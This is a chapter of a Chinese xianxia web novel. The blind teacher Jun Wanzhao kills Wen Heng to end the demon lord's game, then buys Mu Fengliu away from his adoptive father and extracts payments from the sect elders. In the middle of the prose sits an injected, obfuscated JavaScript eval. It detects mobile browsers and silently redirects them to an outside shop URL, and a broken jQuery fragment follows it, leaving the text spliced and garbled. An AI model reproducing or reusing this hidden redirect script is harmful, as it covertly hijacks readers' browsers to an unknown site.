有人不信,前来查探,确定温衡断了气息,垂首无言退回去。
魔君盛炎眯着眼,操控魔兵傀儡前来探查温衡真实情况。
得知人真的死了,他朝君晚照看过去,低哑湿润的声音带着轻颤:“你……真的杀了他?”
周遭满是唏嘘、忌惮、鄙夷,可君晚照毫不在意,颔了颔首,将簪子重新插回发冠上。
魔君盛炎反复用力扣手,盯着君晚照的眼神里藏有几分烦躁不安:“你这女人心怎能如此黑,他不是你的情郎么?”
君晚照并未着急回答,而是拿起青竹转动,以分散心中的惶恐。
青竹在指间反转,她故作冷漠无情,道:“情郎没了可以再找,命没了,我可活不了,我肯定是选择活命的。”
在场的修士、妖魔、门派弟子与普通奴仆皆认为君晚照过于冷血自私,为了活命竟毫不犹豫地舍弃相伴之人,轮番指责她心狠到令人发指。
魔君盛炎则阴恻恻地盯着她片刻,抿嘴笑了笑,眸里亮起了光:“你——好得很,温衡遇见你真是他的报应!”
虽则温衡不老不死,过几日便会复活,可他要的只是诛心,如今心愿得逞,也不必留在此处陪这些蝼蚁浪费时间。
君晚照停止手上的动作,一把攥紧青竹,笑容自信。
“结果显而易见,我选对了,不是么?”
魔君盛炎神色微怔,冲君晚照狞笑一声,眸里带着复杂难明的情愫。
“你这颗聪明又可爱的小脑袋,本君喜欢,本君会再来找你的!”
语毕,他往空中挥袖撤掉禁咒,攥着双目空洞的沐风清往上空跳,瞬间消失在黑雾里。
“沐风清!咳咳咳……”沐风流急叫一声,却忍不住发出沉重的咳嗽,待他咳嗽完了,人早已消失不见。
须臾间,禁制解除,天光启蒙,大地迸射出缕缕金光,随机死亡的规则终止,一切恢复如初。
有人惊叫:“太好了,阵法破了,我们脱离危机了。”
君晚照闻言,胸口憋着那股气吐纳而出。
吓、吓死人了!
绷紧的神经松懈的瞬间双腿发软,她再也站不住了,往旁侧倾倒。
离她最近的沈惊寒与沐风流最先察觉,及时上前一左一右地扶住她。
沐风流掩嘴咳嗽,瞥了一眼躺在地上的温衡,再看向君晚照,心里不得不佩服。
其实君晚照早已猜到,破除阵法并非是杀死某人,而是让魔君盛炎离开,而让魔君盛炎终止这场玩命游戏,唯有按照他的心意——亲手杀了他要杀之人。
让两个情人自相残杀,何其残忍。
沐风流本以为,让君晚照这般弱不禁风又胆小如鼠的盲女手刃对方,定然是不可能的,可这女子不仅看穿了魔君盛炎卑劣的意图,行事还如此果敢,下手毫不迟疑,着实令人刮目相看。
危机解除,任裘齐并未高兴,提剑冲过来欲杀了君晚照替他的尊主报仇,却被沈惊寒等人阻拦。
步任真与梅文铧觉得内里定有文章,死命拽住任裘齐劝阻。
君晚照侧耳听着任裘齐骂骂咧咧的话,心里估摸着时辰,开口提醒:“我若是你,定会即刻将你家尊主的尸体运回清墟宫,指不定清墟宫长老能救他一命。”
一言惊醒梦中人,任裘齐虽满腔恨意,可不否认此言有理。
好汉不吃眼前亏,备受打击的他恶狠狠地怒瞪君晚照,怒斥她毒妇,发誓定要为尊主报仇雪恨,讨回公道,便与步任真、梅文铧将温衡的尸体抬走。
君晚照忆起她的复明任务,急中生智,道:“你们就这么走了,不怕我跑路么?不考虑留一人监视我?”
任裘其仔细琢磨此话,总觉得很有道理,却内含别的阴谋诡计,一时之间犹豫不决。
君晚照欲想带梅文铧回言情书院,这意图在场的弟子除了任裘其,皆看得清楚明白,遂,不待他开口,文得闲便将人拽过来,擅作主张:“将梅文铧留下。”
君晚照见目的达到,恐生变故,提醒任裘齐与步任真:“你们速速带圣宫尊主回去,耽搁了时辰,指不定人没救了。”
此话暗藏玄机,任裘齐琢磨不透,可步任真一点便明。
救圣宫尊主之事刻不容缓,他拽着任裘其,背着温衡的尸体,御剑飞行离去。
他们走后,君晚照与一众弟子暗自松了口气,而在这期间,沐庄主私底下与丹书盟三大长老商讨,先到魔界救人,再行换命格之事。
征得同意后,九幽山庄与丹书盟的人盯着沐风流,心思蠢蠢欲动。无人留意到一直默不作声的李秋水悄然往九幽山庄的禁地潜入。
沐庄主盯着沐风流,拧着眉下令:“把小少爷抓起来关押!”
沐风流垂下眼睑的瞬间眸里闪过一丝浓重的忧伤,他紧抿着唇压着心中的悲痛,摊开双手迎接一如既往的恶意对待,不准备挣扎。
横竖烂命一条,内里早已千苍百孔,无人在意,倒不如早死早超生。
沈惊寒猜想沐风流定是伤心透了才默不作声,毫无抗意。
他谨记君晚照的吩咐,挡在沐风流身前,提剑指向前来抓人的弟子,眸色冷沉:“敢动我小师弟试试?”
沐风流眼皮微颤。
君晚照对沈惊寒护着同门之举大加赞赏,攥着沈风流的手腕举起,高声大喊:“沐风流已是我言情学堂的弟子,从今往后,我君晚照罩着。”
沐风流蓦然睁开了眼,侧头看向君晚照,神色惊怔。
这盲女分明是胆小怕死之辈,弱得旁人随意提剑便能夺走她的性命,面对众多高修为的修士,她是如何做到这般无所畏惧,如此有底气的?
着实……不可思议。
君晚照不知沐风流心中所想,只一心带人回去完成任务,便二话不说,牵着人转身离开,却遭到九幽山庄与丹书盟的人围堵。
丹书盟大长老捋了一把胡子,振振有词道:“沐庄主抚养沐风流多年,断不能让他说走就走!”
沐庄主假情假意道:“君夫子,沐风流到底是我抚养了十八年的养子,这是我们的家事,你若强行干涉,休怪我们不客气。”
此言一出,九幽山庄与丹书盟的弟子轮番祭出灵器,虎视眈眈、敌意盈满。
沐风流听着这些话,面对这阵仗,抬眼盯着他那假仁假义的养父与亲族,勾唇摇头轻笑,笑容里充满着浓浓的讽刺、心酸、悲痛、无奈。
沈惊寒不屑地呸了一声,文得闲放话:“我们言情学堂的弟子向来护短,尽管放马过来!”
说着,她硬拽着身旁的梅文铧,绿茸紧跟其后,与沈惊寒并肩而立,扫视这些恩将仇报的九幽山庄与丹书盟弟子。
沐风流不懂君晚照与她的弟子为何如此护着他,只是,他不想活了,沐成风想要他,那便将命还给他。
他凝着沐成风,满眼悲痛与绝望,咳嗽声不断。
然,现在气氛胶着凝固,蕴着同仇敌忾的杀意,肃杀之气强盛,无人察觉他的悲伤。
君晚照浑身打了个寒颤,不难察觉双方即将兵戎相见。
她走过去,抬首摁下沈惊寒抬起的手腕,开口道:“我言情学堂靠的是以理服人、以德服众,不是暴力血腥,将武器放下。”
也不管沈惊寒等人是否放下武器,她吩咐道:“绿茸,清算一下沐庄主养育沐风流十八年的费用,我们一次性付清。”
沐风流怔然,眼底的悲伤瞬间凝结。
绿茸也不问缘由,当即亮出算盘,“噼里啪啦”地算起来,不到半盏茶功夫,便收起算盘笑道:“君夫子,算好了,一共三千高阶灵石。”
君晚照单手撑着下颚,皱眉苦恼:“我的弟子怎能如此廉?太侮辱人了。”
她从储物空间里掏出一大箱高阶灵石,吩咐绿茸给沐庄主送去三万灵石。
沐庄主看得是目瞪口呆,茫然地盯着君晚照,觉得她跟传闻中那个抠门贪财的晚照师尊截然不同。
众人见君晚照如此慷慨大方,也是对她另眼相看,产生一种想要当她弟子的欲望。
沐风流则是瞳孔缩了缩,眉宇间流露出难得的纯粹笑意。
君晚照拱手道:“沐庄主,三万灵石,足够你买十个沐风流回来给你温蛋蛋换命格。我们钱货两清,好聚好散,可好?”
态度不卑不亢,言语有力,颇有威信。
沐庄主见君晚照一介女流却敢与他叫板,心里十分不爽。他冷哼一声,惺惺作态道:“养育之恩,焉能用钱财来衡量,钱能买走一切,买不走我们的亲情。”
沐风流走到君晚照身前,面对沐庄主时昂首挑眉,态度强硬:“我不如一报还一抱,如何?沐、庄、主。”
沐庄主没想到沐风流竟会袒护除了沐风清以外的人,顿时气得脸红脖子粗,抬手指着他厉声叱骂:“孽子,忘恩负义的狗东西!就该杀了你!”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672465|204144||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
沐风流神色一僵,心里不停地告知自己不要在意,这么多年来不都习惯了么?
可眸里禁不住盈满了泪水。
他抬手捂着那只没有戴眼罩的眼,仰头咧开嘴笑,盼着笑意能填满千疮百孔的心,能掩盖他那无法化解的悲痛与绝望。
君晚照伸手紧握着他冰凉微颤的手,面上朝沐庄主气势弱弱地颔首:“沐庄主此话倒是提醒了我。”
话锋一转,她昂首挺胸,疾言厉色道:“我对你们的救命之恩,怎能用轻飘飘的一句道谢便完事,传出去,岂不是说你们狼心狗肺,忘恩负义!”
沐庄主见君晚照竟借此事反将他们一军,怒不可遏:“你——”
“你什么你,闭嘴吧你!有你说话的份么?”君晚照打断他的话,抬起青竹指向前方。
沈惊寒见方向错了,忙小跑过来将青竹轻轻一动,指向沐庄主,而此举于沐庄主而言,更是火烧浇油。
他正欲开口,可君晚照抢先一步,振振有词地放声道:“为了报答我对你们的救命之恩,你们九幽山庄与丹书盟按人头算,一人三万灵石?”
她故意停顿了下,侧耳聆听,没得到回应,她再道:“嗯,看着也没我的弟子值钱,罢了,一人算三千高阶灵石吧,核算好了将感谢费送到我言情学堂。”
这压根不是商讨,而是她的个人决定,因而无须听他们的回应,只淡然吩咐身旁的弟子:“绿茸,算好他们该给我们多少感谢费,记录在册,回去给掌门师兄。”
绿茸肃然回应:“收到。”
丹书盟大长老终是装不下去了,上前来指责君晚照:“君夫子,你怎能用救命之恩向我们索要钱财,着实毫无仁德之心。”
君晚照收回青竹,嗤笑一声,反问:“我要仁德之心作甚,我一个俗人,自是要钱财,钱财靠得住,你们靠得住么?”
“……”
不仅靠不住,还暗地里谋划着如何弄死她!
因而,这群道貌岸然的修士全数陷入沉默,心虚得不曾抬首瞧君晚照一眼。
君晚照深知这群人老谋深算,不会乖乖就范,故意大声向他们强调:“对了,我杀了清墟宫尊主,若清墟宫到时候问责,我没有沐风流在身旁,心情不好,只能告知,人是你们杀的,我是被栽赃的,毕竟我只是个柔弱不能自理的盲女,有何能力杀死修为高深的清墟宫尊主,你们说,是吧?”
“……”
这脏水泼得他们哑口无言。
丹书盟三大长老与沐庄主不由自主地看向现场唯一的清墟宫梅文铧。
梅文铧却是个软骨头,抬头看向天空,横竖不看他们一眼,显然不站他们这边。
权衡利弊之下,沐庄主虽不甘又气,却是一脸无奈。
“沐风流你带走,恩怨两消。”
此言一出,沐风流浑身一僵,看向木庄主的眼神里有着不可置信的神色,也有不舍的疼痛。
他欲开口质问他的养父,这么多年是否有那么一刻,那么只有一刻,真心待过他?可不知为何,话到嘴边却是满口苦涩,怎么也挤不出一个字来。
他唯有垂首苦笑,将所有的心酸苦楚、悲痛绝望笑进肚子里,肚子吞咽。
君晚照却不依不饶,厉声放话,存心气死沐庄主。
“人,我是必定带走的,但感谢费,你们得送,一分不能少,麻烦在欠条上画押一下。”
说着,她侧头高声吩咐:“绿茸,为师瞧不见,麻烦你替为师瞧清楚,何人不画押,便是瞧不起我们全墟宫,回头将名单递给掌门师兄。”
“……”
全修真界皆知,全墟宫的掌门风楚行出了名的护短,最恨旁人瞧不起。
众人情理不沾边,欲动用武力解决,可又从纪江口中得知君晚照会一种诡异的回溯术,使用时无人能反抗,只得任由摆布,且她是杀不死的妖女,轻易手刃了化神期的圣宫尊主……
回想种种,众人一致认定君晚照方是不可招惹的存在,只得认栽,乖乖签字画押。
君晚照不知底下情况,再吩咐绿茸:“还有,到时候清墟宫的人找为师算账,把这些不画押的名单交上去。”
这便等同于同时得罪全墟宫与清墟宫,以九幽山庄与丹书盟目前的能力,似乎无法与之抗衡。
这下,迟迟不动的丹书盟三大长老与沐庄主也签字画押,单手捂着脸,巴不得君晚照带沐风流早早离去。